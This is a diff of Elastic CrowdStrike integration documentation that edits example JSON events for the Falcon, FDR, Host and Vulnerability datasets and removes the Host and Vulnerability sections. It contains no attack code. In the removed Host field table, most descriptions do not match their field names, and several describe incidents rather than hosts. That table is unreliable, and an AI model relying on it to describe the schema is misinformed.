"67072e92-576d-47d8-8a43-ebb347b4250b", - "name": "elastic-agent-93422", - "type": "filebeat", - "version": "8.18.1" - }, - "crowdstrike": { - "event": { - "AgentIdString": "fffffffff33333", - "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a" - }, - "metadata": { - "customerIDString": "abcabcabc22221", - "eventType": "RemoteResponseSessionStartEvent", - "offset": 1, - "version": "1.0" - } - }, - "data_stream": { - "dataset": "crowdstrike.falcon", - "namespace": "99576", - "type": "logs" - }, - "ecs": { - "version": "8.17.0" - }, - "elastic_agent": { - "id": "67072e92-576d-47d8-8a43-ebb347b4250b", - "snapshot": false, - "version": "8.18.1" - }, - "event": { - "action": [ - "remote_response_session_start_event" - ], - "agent_id_status": "verified", - "category": [ - "network", - "session" - ], - "created": "2023-11-02T13:41:34.000Z", - "dataset": "crowdstrike.falcon", - "ingested": "2025-05-30T08:29:21Z", - "kind": "event", - "original": "{\"event\":{\"AgentIdString\":\"fffffffff33333\",\"HostnameField\":\"UKCHUDL00206\",\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"StartTimestamp\":1698932494,\"UserName\":\"admin.rose@example.com\"},\"metadata\":{\"customerIDString\":\"abcabcabc22221\",\"eventCreationTime\":1698932494000,\"eventType\":\"RemoteResponseSessionStartEvent\",\"offset\":1,\"version\":\"1.0\"}}", - "start": "2023-11-02T13:41:34.000Z", - "type": [ - "start" - ] - }, - "host": { - "name": "UKCHUDL00206" - }, - "input": { - "type": "streaming" - }, - "message": "Remote response session started.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "UKCHUDL00206" - ], - "user": [ - "admin.rose", - "admin.rose@example.com" - ] - }, - "tags": [ - "preserve_original_event", - "forwarded", - "crowdstrike-falcon" - ], - "user": { - "domain": "example.com", - "email": "admin.rose@example.com", - "name": "admin.rose" - } -} -``` - ### FDR The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike @@ -2581,15 +2068,15 @@ An example event for `fdr` looks as following: { "@timestamp": "2020-10-01T09:58:32.519Z", "agent": { - "id": "71e71f16-ae08-46e3-a58e-a7d14e974950", - "name": "elastic-agent-30302", + "id": "eb2db106-5958-49b5-ae25-c286e62857e1", + "name": "elastic-agent-67101", "type": "filebeat", "version": "8.18.0" }, "aws": { "s3": { "bucket": { - "name": "elastic-package-crowdstrike-fdr-30445" + "name": "elastic-package-crowdstrike-fdr-19614" }, "object": { "key": "data" @@ -2674,14 +2161,14 @@ An example event for `fdr` looks as following: }, "data_stream": { "dataset": "crowdstrike.fdr", - "namespace": "77613", + "namespace": "27890", "type": "logs" }, "device": { "id": "ffffffff655344736aca58d17fb570f0" }, "elastic_agent": { - "id": "71e71f16-ae08-46e3-a58e-a7d14e974950", + "id": "eb2db106-5958-49b5-ae25-c286e62857e1", "snapshot": false, "version": "8.18.0" }, @@ -2692,9 +2179,8 @@ An example event for `fdr` looks as following: "process" ], "created": "2020-10-01T09:58:32.519Z", - "dataset": "crowdstrike.fdr", "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d", - "ingested": "2025-08-27T05:55:29Z", + "ingested": "2026-02-24T11:51:06Z", "kind": "event", "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}", "outcome": "success", @@ -2703,6 +2189,7 @@ An example event for `fdr` looks as following: ] }, "host": { + "id": "ffffffff655344736aca58d17fb570f0", "ip": [ "16.15.12.10" ], @@ -2792,752 +2279,3 @@ An example event for `fdr` looks as following: } } ``` - -### Host - -This is the `Host` dataset. - -#### Example - -An example event for `host` looks as following: - -```json -{ - "@timestamp": "2023-11-07T10:26:53.000Z", - "agent": { - "ephemeral_id": "ca93e106-c70b-45b7-a058-ee8f088d0c70", - "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc", - "name": "elastic-agent-18005", - "type": "filebeat", - "version": "8.18.0" - }, - "crowdstrike": { - "host": { - "agent": { - "load_flags": "0", - "local_time": "2023-11-07T04:51:16.678Z", - "version": "7.05.17603.0" - }, - "bios": { - "manufacturer": "ABCInc.", - "version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)" - }, - "chassis_type": { - "desc": "Laptop", - "value": "9" - }, - "cid": "92012896127c4948236ba7601b886b0", - "config_id": { - "base": "6594763", - "build": "1703", - "platform": "4" - }, - "connection_ip": "81.2.69.192", - "cpu_signature": "460517", - "device_policies": { - "device_control": { - "applied": true, - "applied_date": "2023-06-20T08:45:26.341Z", - "assigned_date": "2023-06-20T08:43:47.736Z", - "policy_id": "2f88daf0177f467dae69262a5ce71775", - "policy_type": "device-control" - }, - "firewall": { - "applied": true, - "applied_date": "2023-09-11T10:33:44.174Z", - "assigned_date": "2023-09-11T10:32:47.853Z", - "policy": { - "id": "1ee301f7e3e24e96ad6a23c73aaac1e3", - "type": "firewall" - }, - "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3" - }, - "global_config": { - "applied": true, - "applied_date": "2023-11-07T04:52:59.515Z", - "assigned_date": "2023-11-07T04:51:18.946Z", - "policy": { - "id": "7e3078b60976486cac5dc998808d9135", - "type": "globalconfig" - }, - "settings_hash": "f01def74" - }, - "prevention": { - "applied": true, - "applied_date": "2023-06-08T10:04:47.643Z", - "assigned_date": "2023-06-08T10:03:49.505Z", - "policy": { - "id": "1024fac1b279424fa7300b8ac2d56be5", - "type": "prevention" - }, - "settings_hash": "f7a54ca1" - }, - "remote_response": { - "applied": true, - "applied_date": "2023-06-08T10:04:47.017Z", - "assigned_date": "2023-06-08T10:03:49.505Z", - "policy": { - "id": "dabb4def99034f11b9b3d52271584c9f", - "type": "remote-response" - }, - "settings_hash": "8a548e5e" - }, - "sensor_update": { - "applied": true, - "applied_date": "2023-11-07T04:52:59.659Z", - "assigned_date": "2023-11-07T04:47:43.342Z", - "policy": { - "id": "64bfa2bbcd4e46da92a66b107933da11", - "type": "sensor-update" - }, - "settings_hash": "tagged|18;101", - "uninstall_protection": "ENABLED" - } - }, - "external_ip": "81.2.69.192", - "first_seen": "2023-06-08T10:00:19.000Z", - "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", - "groups": [ - "182388a8dbea4c44b5e019cfd32c2695" - ], - "hostname": "CLM101-131.local", - "id": "3114433dbce478ca48d9a828b9b34be", - "kernel_version": "22.6.0", - "last_seen": "2023-11-07T10:25:24.000Z", - "local_ip": "81.2.69.142", - "mac_address": "14-7D-DA-AD-AC-71", - "machine_domain": "SYS", - "major_version": "22", - "meta": { - "version": "6002", - "version_string": "7:43570272778" - }, - "minor_version": "6", - "modified_timestamp": "2023-11-07T10:26:53.000Z", - "os": { - "build": "22G120", - "version": "Ventura(13)" - }, - "platform": { - "id": "1", - "name": "Mac" - }, - "policies": [ - { - "applied": true, - "applied_date": "2023-06-08T10:04:47.643Z", - "assigned_date": "2023-06-08T10:03:49.505Z", - "policy": { - "id": "1024fac1b279424fa7300b8ac2d56be5", - "type": "prevention" - }, - "settings_hash": "f7a54ca1" - } - ], - "product_type_desc": "Workstation", - "provision_status": "Provisioned", - "reduced_functionality_mode": "no", - "serial_number": "FVFDH73HMNHX", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system": { - "manufacturer": "ABCInc.", - "product_name": "Air,1" - }, - "tags": [ - "tags" - ] - } - }, - "data_stream": { - "dataset": "crowdstrike.host", - "namespace": "67537", - "type": "logs" - }, - "device": { - "id": "3114433dbce478ca48d9a828b9b34be" - }, - "ecs": { - "version": "8.17.0" - }, - "elastic_agent": { - "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc", - "snapshot": true, - "version": "8.18.0" - }, - "event": { - "agent_id_status": "verified", - "category": [ - "host" - ], - "dataset": "crowdstrike.host", - "ingested": "2025-11-27T09:36:28Z", - "kind": "event", - "original": "{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-11-07T04:51:16.678Z\",\"agent_version\":\"7.05.17603.0\",\"bios_manufacturer\":\"ABCInc.\",\"bios_version\":\"2020.0.1.0.0(iBridge:22.11.000.0.0,0)\",\"chassis_type\":\"9\",\"chassis_type_desc\":\"Laptop\",\"cid\":\"92012896127c4948236ba7601b886b0\",\"config_id_base\":\"6594763\",\"config_id_build\":\"1703\",\"config_id_platform\":\"4\",\"connection_ip\":\"81.2.69.192\",\"cpu_signature\":\"460517\",\"device_id\":\"3114433dbce478ca48d9a828b9b34be\",\"device_policies\":{\"device_control\":{\"applied\":true,\"applied_date\":\"2023-06-20T08:45:26.341093915Z\",\"assigned_date\":\"2023-06-20T08:43:47.736146738Z\",\"policy_id\":\"2f88daf0177f467dae69262a5ce71775\",\"policy_type\":\"device-control\"},\"firewall\":{\"applied\":true,\"applied_date\":\"2023-09-11T10:33:44.174488832Z\",\"assigned_date\":\"2023-09-11T10:32:47.853976945Z\",\"policy_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\",\"policy_type\":\"firewall\",\"rule_set_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\"},\"global_config\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.515775409Z\",\"assigned_date\":\"2023-11-07T04:51:18.94671252Z\",\"policy_id\":\"7e3078b60976486cac5dc998808d9135\",\"policy_type\":\"globalconfig\",\"settings_hash\":\"f01def74\"},\"prevention\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"},\"remote_response\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.01735027Z\",\"assigned_date\":\"2023-06-08T10:03:49.505163572Z\",\"policy_id\":\"dabb4def99034f11b9b3d52271584c9f\",\"policy_type\":\"remote-response\",\"settings_hash\":\"8a548e5e\"},\"sensor_update\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.659583066Z\",\"assigned_date\":\"2023-11-07T04:47:43.342175341Z\",\"policy_id\":\"64bfa2bbcd4e46da92a66b107933da11\",\"policy_type\":\"sensor-update\",\"settings_hash\":\"tagged|18;101\",\"uninstall_protection\":\"ENABLED\"}},\"external_ip\":\"81.2.69.192\",\"first_seen\":\"2023-06-08T10:00:19Z\",\"group_hash\":\"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77\",\"groups\":[\"182388a8dbea4c44b5e019cfd32c2695\"],\"hostname\":\"CLM101-131.local\",\"kernel_version\":\"22.6.0\",\"last_seen\":\"2023-11-07T10:25:24Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"14-7d-da-ad-ac-71\",\"machine_domain\":\"SYS\",\"major_version\":\"22\",\"meta\":{\"version\":\"6002\",\"version_string\":\"7:43570272778\"},\"minor_version\":\"6\",\"modified_timestamp\":\"2023-11-07T10:26:53Z\",\"os_build\":\"22G120\",\"os_version\":\"Ventura(13)\",\"platform_id\":\"1\",\"platform_name\":\"Mac\",\"policies\":[{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"}],\"product_type_desc\":\"Workstation\",\"provision_status\":\"Provisioned\",\"reduced_functionality_mode\":\"no\",\"serial_number\":\"FVFDH73HMNHX\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"ABCInc.\",\"system_product_name\":\"Air,1\",\"tags\":[\"tags\"]}", - "type": [ - "info" - ] - }, - "host": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "hostname": "CLM101-131.local", - "id": "3114433dbce478ca48d9a828b9b34be", - "ip": [ - "81.2.69.192" - ], - "mac": [ - "14-7D-DA-AD-AC-71" - ], - "os": { - "full": "Ventura(13)", - "platform": "Mac", - "type": "macos" - } - }, - "input": { - "type": "cel" - }, - "related": { - "hash": [ - "f01def74", - "f7a54ca1", - "8a548e5e", - "tagged|18;101", - "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77" - ], - "hosts": [ - "CLM101-131.local", - "SYS" - ], - "ip": [ - "81.2.69.192", - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "forwarded", - "crowdstrike-host" - ] -} -``` - -**Exported fields** - -| Field | Description | Type | -|---|---|---| -| @timestamp | Event timestamp. | date | -| crowdstrike.host.agent.load_flags | Any errors associated with the incident. | keyword | -| crowdstrike.host.agent.local_time | The fine score associated with the incident. | date | -| crowdstrike.host.agent.version | The list of host IDs associated with the incident. | keyword | -| crowdstrike.host.bios.manufacturer | Flags indicating the load status of the agent on the host. | keyword | -| crowdstrike.host.bios.version | The local time on the host where the agent is running. | keyword | -| crowdstrike.host.chassis_type.desc | The version of the agent running on the host. | keyword | -| crowdstrike.host.chassis_type.value | The manufacturer of the BIOS on the host. | keyword | -| crowdstrike.host.cid | The version of the BIOS on the host. | keyword | -| crowdstrike.host.config_id.base | The customer ID associated with the host. | keyword | -| crowdstrike.host.config_id.build | The base configuration ID associated with the host. | keyword | -| crowdstrike.host.config_id.platform | The build configuration ID associated with the host. | keyword | -| crowdstrike.host.connection_ip | The platform configuration ID associated with the host. | ip | -| crowdstrike.host.cpu_signature | The device ID associated with the host. | keyword | -| crowdstrike.host.device_policies.device_control.applied | Timestamp indicating when the host was first seen. | boolean | -| crowdstrike.host.device_policies.device_control.applied_date | The groups associated with the host. | date | -| crowdstrike.host.device_policies.device_control.assigned_date | Timestamp indicating when the host was last seen. | date | -| crowdstrike.host.device_policies.device_control.policy_id | The local IP address of the host. | keyword | -| crowdstrike.host.device_policies.device_control.policy_type | The domain to which the machine belongs. | keyword | -| crowdstrike.host.device_policies.firewall.applied | The major version of the operating system on the host. | boolean | -| crowdstrike.host.device_policies.firewall.applied_date | The minor version of the operating system on the host. | date | -| crowdstrike.host.device_policies.firewall.assigned_date | Timestamp indicating when the host information was last modified. | date | -| crowdstrike.host.device_policies.firewall.policy.id | The organizational units associated with the host. | keyword | -| crowdstrike.host.device_policies.firewall.policy.type | The platform ID of the host. | keyword | -| crowdstrike.host.device_policies.firewall.rule_set_id | The platform name of the host. | keyword | -| crowdstrike.host.device_policies.global_config.applied | The description of the product type of the host. | boolean | -| crowdstrike.host.device_policies.global_config.applied_date | The product type of the host. | date | -| crowdstrike.host.device_policies.global_config.assigned_date | The site name associated with the host. | date | -| crowdstrike.host.device_policies.global_config.policy.id | The status of the host. | keyword | -| crowdstrike.host.device_policies.global_config.policy.type | The manufacturer of the system on the host. | keyword | -| crowdstrike.host.device_policies.global_config.settings_hash | The product name of the system on the host. | keyword | -| crowdstrike.host.device_policies.prevention.applied | The objectives associated with the incident. | boolean | -| crowdstrike.host.device_policies.prevention.applied_date | The state of the incident, whether open or closed. | date | -| crowdstrike.host.device_policies.prevention.assigned_date | The status of the incident. | date | -| crowdstrike.host.device_policies.prevention.policy.id | The tactics associated with the incident. | keyword | -| crowdstrike.host.device_policies.prevention.policy.type | The techniques associated with the incident. | keyword | -| crowdstrike.host.device_policies.prevention.rule_groups | The type of incident. | keyword | -| crowdstrike.host.device_policies.prevention.settings_hash | The users associated with the incident. | keyword | -| crowdstrike.host.device_policies.remote_response.applied | | boolean | -| crowdstrike.host.device_policies.remote_response.applied_date | | date | -| crowdstrike.host.device_policies.remote_response.assigned_date | | date | -| crowdstrike.host.device_policies.remote_response.policy.id | | keyword | -| crowdstrike.host.device_policies.remote_response.policy.type | | keyword | -| crowdstrike.host.device_policies.remote_response.settings_hash | | keyword | -| crowdstrike.host.device_policies.sensor_update.applied | | boolean | -| crowdstrike.host.device_policies.sensor_update.applied_date | | date | -| crowdstrike.host.device_policies.sensor_update.assigned_date | | date | -| crowdstrike.host.device_policies.sensor_update.policy.id | | keyword | -| crowdstrike.host.device_policies.sensor_update.policy.type | | keyword | -| crowdstrike.host.device_policies.sensor_update.settings_hash | | keyword | -| crowdstrike.host.device_policies.sensor_update.uninstall_protection | | keyword | -| crowdstrike.host.external_ip | The external IP address of the host. | ip | -| crowdstrike.host.first_seen | | date | -| crowdstrike.host.group_hash | | keyword | -| crowdstrike.host.groups | | keyword | -| crowdstrike.host.hostname | The hostname of the host. | keyword | -| crowdstrike.host.id | Timestamp indicating when the incident started. | keyword | -| crowdstrike.host.kernel_version | | keyword | -| crowdstrike.host.last_seen | | date | -| crowdstrike.host.local_ip | | ip | -| crowdstrike.host.mac_address | The MAC address of the host. | keyword | -| crowdstrike.host.machine_domain | | keyword | -| crowdstrike.host.major_version | | keyword | -| crowdstrike.host.meta.version | | keyword | -| crowdstrike.host.meta.version_string | | keyword | -| crowdstrike.host.minor_version | | keyword | -| crowdstrike.host.modified_timestamp | Timestamp indicating when the incident was created. | date | -| crowdstrike.host.os.build | | keyword | -| crowdstrike.host.os.version | The version of the operating system on the host. | keyword | -| crowdstrike.host.ou | The organizational unit of the host as seen by the sensor. | keyword | -| crowdstrike.host.platform.id | | keyword | -| crowdstrike.host.platform.name | The identifier associated with the customer. | keyword | -| crowdstrike.host.policies.applied | | boolean | -| crowdstrike.host.policies.applied_date | | date | -| crowdstrike.host.policies.assigned_date | | date | -| crowdstrike.host.policies.policy.id | | keyword | -| crowdstrike.host.policies.policy.type | | keyword | -| crowdstrike.host.policies.rule_groups | | keyword | -| crowdstrike.host.policies.settings_hash | | keyword | -| crowdstrike.host.product_type_desc | | keyword | -| crowdstrike.host.provision_status | | keyword | -| crowdstrike.host.reduced_functionality_mode | | keyword | -| crowdstrike.host.serial_number | | keyword | -| crowdstrike.host.site_name | | keyword | -| crowdstrike.host.status | | keyword | -| crowdstrike.host.system.manufacturer | | keyword | -| crowdstrike.host.system.product_name | | keyword | -| crowdstrike.host.tags | | keyword | -| data_stream.dataset | Data stream dataset. | constant_keyword | -| data_stream.namespace | Data stream namespace. | constant_keyword | -| data_stream.type | Data stream type. | constant_keyword | -| event.dataset | Event dataset. | constant_keyword | -| event.module | Event module. | constant_keyword | -| input.type | Type of filebeat input. | keyword | -| log.offset | Log offset. | long | -| tags | List of keywords used to tag each event. | keyword | - - -### Vulnerability - -This is the `Vulnerability` dataset. - -#### Example - -An example event for `vulnerability` looks as following: - -```json -{ - "@timestamp": "2025-02-25T13:33:23.000Z", - "agent": { - "ephemeral_id": "6eee1701-fd23-48b2-9593-d4e3e98abf5a", - "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4", - "name": "elastic-agent-98024", - "type": "filebeat", - "version": "8.18.0" - }, - "crowdstrike": { - "vulnerability": { - "aid": "897580adb4ab4540a357536faa41de18", - "app": { - "product_name_normalized": "openssh", - "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", - "vendor_normalized": "Ubuntu" - }, - "apps": [ - { - "evaluation_logic": { - "aid": "897580adb4ab4540a357536faa41de18", - "cid": "2cd98db1a47b4c98b913c94d43bfab70", - "complex_check_operator": "AND", - "created_timestamp": "2025-02-20T10:15:30.000Z", - "id": "138bd6a67791327ab367838079b4d786", - "logic": [ - { - "comparison_check": "equals", - "comparisons": { - "state_comparisons": [ - { - "entity_comparisons": [ - { - "actual_value_field": "version", - "operation": "equals", - "value_datatype": "string" - } - ], - "entity_operator": "AND" - } - ], - "state_operator": "OR" - }, - "determined_by_comparison": true, - "existence_check": "Yes", - "id": "logic-12345", - "negate": false, - "status": "active", - "title": "Evaluation Logic for OpenSSH", - "type": "comparison" - } - ], - "updated_timestamp": "2025-02-25T13:33:23.000Z" - }, - "patch_publication_date": "2025-02-19T00:00:00.000Z", - "product_name_normalized": "openssh", - "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", - "remediation": { - "ids": [ - "4688299d204b35a192828bdaf556ecf8" - ] - }, - "remediation_info": { - "minimum_id": "df1af7df1d33382398fb0dc268109a4d", - "patch_publication_date": "2025-02-19T00:00:00.000Z", - "recommended_id": "4688299d207b35a192828bdaf556ecf8" - }, - "sub_status": "open", - "vendor_normalized": "Ubuntu" - } - ], - "cid": "2cd98db1a47b4c98b913c94d43bfab70", - "closed_timestamp": "2025-02-26T10:00:00.000Z", - "confidence": "confirmed", - "created_timestamp": "2025-02-20T10:10:24.000Z", - "cve": { - "base_score": 6.8, - "cisa_info": { - "due_date": "2025-03-01T00:00:00.000Z", - "is_cisa_kev": false - }, - "cwes": [ - "CWE-123" - ], - "description": "A vulnerability was found in OpenSSH...", - "exploit_status": 30, - "exploitability_score": 1.6, - "exprt_rating": "MEDIUM", - "id": "CVE-2025-26465", - "impact_score": 5.2, - "published_date": "2025-02-18T19:15:00.000Z", - "references": [ - "https://ubuntu.com/security/CVE-2025-26465" - ], - "remediation_level": "O", - "severity": "MEDIUM", - "spotlight_published_date": "2025-02-19T05:32:00.000Z", - "types": [ - "Vulnerability" - ], - "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N" - }, - "data_providers": [ - { - "ports": [ - 22, - 80 - ], - "provider": "Falcon sensor", - "rating": "high", - "scan_id": "scan-123456", - "scan_time": "2025-02-20T12:00:00Z", - "scanner_id": "scanner-xyz" - } - ], - "host_info": { - "asset_criticality": "Critical", - "groups": [ - { - "id": "group-123", - "name": "Production" - } - ], - "has_run_container": false, - "host_last_seen_timestamp": "2025-02-18T00:00:00.000Z", - "hostname": "ub24-50-10-154", - "internet_exposure": "No", - "local_ip": "1.128.0.0", - "machine_domain": "example.local", - "managed_by": "Falcon sensor", - "os_version": "Ubuntu 24.04", - "platform": "Linux", - "product_type_desc": "Server", - "service_provider": "AWS", - "service_provider_account_id": "123456789012", - "system_manufacturer": "Dell", - "tags": [ - "production", - "security" - ] - }, - "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", - "remediation": { - "entities": [ - { - "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer", - "id": "4688299d207b35a192828bdaf556ecf8", - "link": "https://ubuntu.com/security/CVE-2025-26465", - "recommendation_type": "recommended", - "reference": "1:9.6p1-3ubuntu13.8", - "title": "Update ubuntu openssh", - "vendor_url": "https://www.openssh.com" - } - ], - "ids": [ - "4688299d207b35a192828bdaf556ecf8", - "df1af7df1d33382398fb0dc268109a4d" - ] - }, - "status": "open", - "suppression_info": { - "is_suppressed": false, - "reason": "Not applicable" - }, - "updated_timestamp": "2025-02-25T13:33:23.000Z", - "vulnerability_id": "CVE-2025-26465" - } - }, - "data_stream": { - "dataset": "crowdstrike.vulnerability", - "namespace": "35952", - "type": "logs" - }, - "ecs": { - "version": "8.17.0" - }, - "elastic_agent": { - "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4", - "snapshot": true, - "version": "8.18.0" - }, - "event": { - "agent_id_status": "verified", - "category": [ - "vulnerability" - ], - "dataset": "crowdstrike.vulnerability", - "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", - "ingested": "2025-08-22T08:33:35Z", - "kind": "event", - "original": "{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"app\":{\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"vendor_normalized\":\"Ubuntu\"},\"apps\":[{\"evaluation_logic\":{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"complex_check_operator\":\"AND\",\"created_timestamp\":\"2025-02-20T10:15:30Z\",\"id\":\"138bd6a67791327ab367838079b4d786\",\"logic\":[{\"comparison_check\":\"equals\",\"comparisons\":{\"state_comparisons\":[{\"entity_comparisons\":[{\"actual_value_field\":\"version\",\"operation\":\"equals\",\"value_datatype\":\"string\"}],\"entity_operator\":\"AND\"}],\"state_operator\":\"OR\"},\"determined_by_comparison\":true,\"existence_check\":\"Yes\",\"id\":\"logic-12345\",\"negate\":false,\"status\":\"active\",\"title\":\"Evaluation Logic for OpenSSH\",\"type\":\"comparison\"}],\"updated_timestamp\":\"2025-02-25T13:33:23Z\"},\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"remediation\":{\"ids\":[\"4688299d204b35a192828bdaf556ecf8\"]},\"remediation_info\":{\"minimum_id\":\"df1af7df1d33382398fb0dc268109a4d\",\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"recommended_id\":\"4688299d207b35a192828bdaf556ecf8\"},\"sub_status\":\"open\",\"vendor_normalized\":\"Ubuntu\"}],\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"closed_timestamp\":\"2025-02-26T10:00:00Z\",\"confidence\":\"confirmed\",\"created_timestamp\":\"2025-02-20T10:10:24Z\",\"cve\":{\"base_score\":6.8,\"cisa_info\":{\"due_date\":\"2025-03-01\",\"is_cisa_kev\":false},\"cwes\":[\"CWE-123\"],\"description\":\"A vulnerability was found in OpenSSH...\",\"exploit_status\":30,\"exploitability_score\":1.6,\"exprt_rating\":\"MEDIUM\",\"id\":\"CVE-2025-26465\",\"impact_score\":5.2,\"published_date\":\"2025-02-18T19:15:00Z\",\"references\":[\"https://ubuntu.com/security/CVE-2025-26465\"],\"remediation_level\":\"O\",\"severity\":\"MEDIUM\",\"spotlight_published_date\":\"2025-02-19T05:32:00Z\",\"types\":[\"Vulnerability\"],\"vector\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N\"},\"data_providers\":[{\"ports\":[22,80],\"provider\":\"Falcon sensor\",\"rating\":\"high\",\"scan_id\":\"scan-123456\",\"scan_time\":\"2025-02-20T12:00:00Z\",\"scanner_id\":\"scanner-xyz\"}],\"host_info\":{\"asset_criticality\":\"Critical\",\"groups\":[{\"id\":\"group-123\",\"name\":\"Production\"}],\"has_run_container\":false,\"host_last_seen_timestamp\":\"2025-02-18T00:00:00Z\",\"hostname\":\"ub24-50-10-154\",\"internet_exposure\":\"No\",\"local_ip\":\"1.128.0.0\",\"machine_domain\":\"example.local\",\"managed_by\":\"Falcon sensor\",\"os_version\":\"Ubuntu 24.04\",\"platform\":\"Linux\",\"product_type_desc\":\"Server\",\"service_provider\":\"AWS\",\"service_provider_account_id\":\"123456789012\",\"system_manufacturer\":\"Dell\",\"tags\":[\"production\",\"security\"]},\"id\":\"897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b\",\"remediation\":{\"entities\":[{\"action\":\"Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer\",\"id\":\"4688299d207b35a192828bdaf556ecf8\",\"link\":\"https://ubuntu.com/security/CVE-2025-26465\",\"recommendation_type\":\"recommended\",\"reference\":\"1:9.6p1-3ubuntu13.8\",\"title\":\"Update ubuntu openssh\",\"vendor_url\":\"https://www.openssh.com\"}],\"ids\":[\"4688299d207b35a192828bdaf556ecf8\",\"df1af7df1d33382398fb0dc268109a4d\"]},\"status\":\"open\",\"suppression_info\":{\"is_suppressed\":false,\"reason\":\"Not applicable\"},\"updated_timestamp\":\"2025-02-25T13:33:23Z\",\"vulnerability_id\":\"CVE-2025-26465\"}", - "type": [ - "info" - ] - }, - "host": { - "id": "897580adb4ab4540a357536faa41de18", - "ip": [ - "1.128.0.0" - ], - "name": "ub24-50-10-154", - "os": { - "name": "Ubuntu 24.04", - "platform": "Linux", - "type": "linux" - } - }, - "input": { - "type": "cel" - }, - "message": "A vulnerability was found in OpenSSH...", - "observer": { - "product": "Falcon sensor", - "type": "sensor", - "vendor": 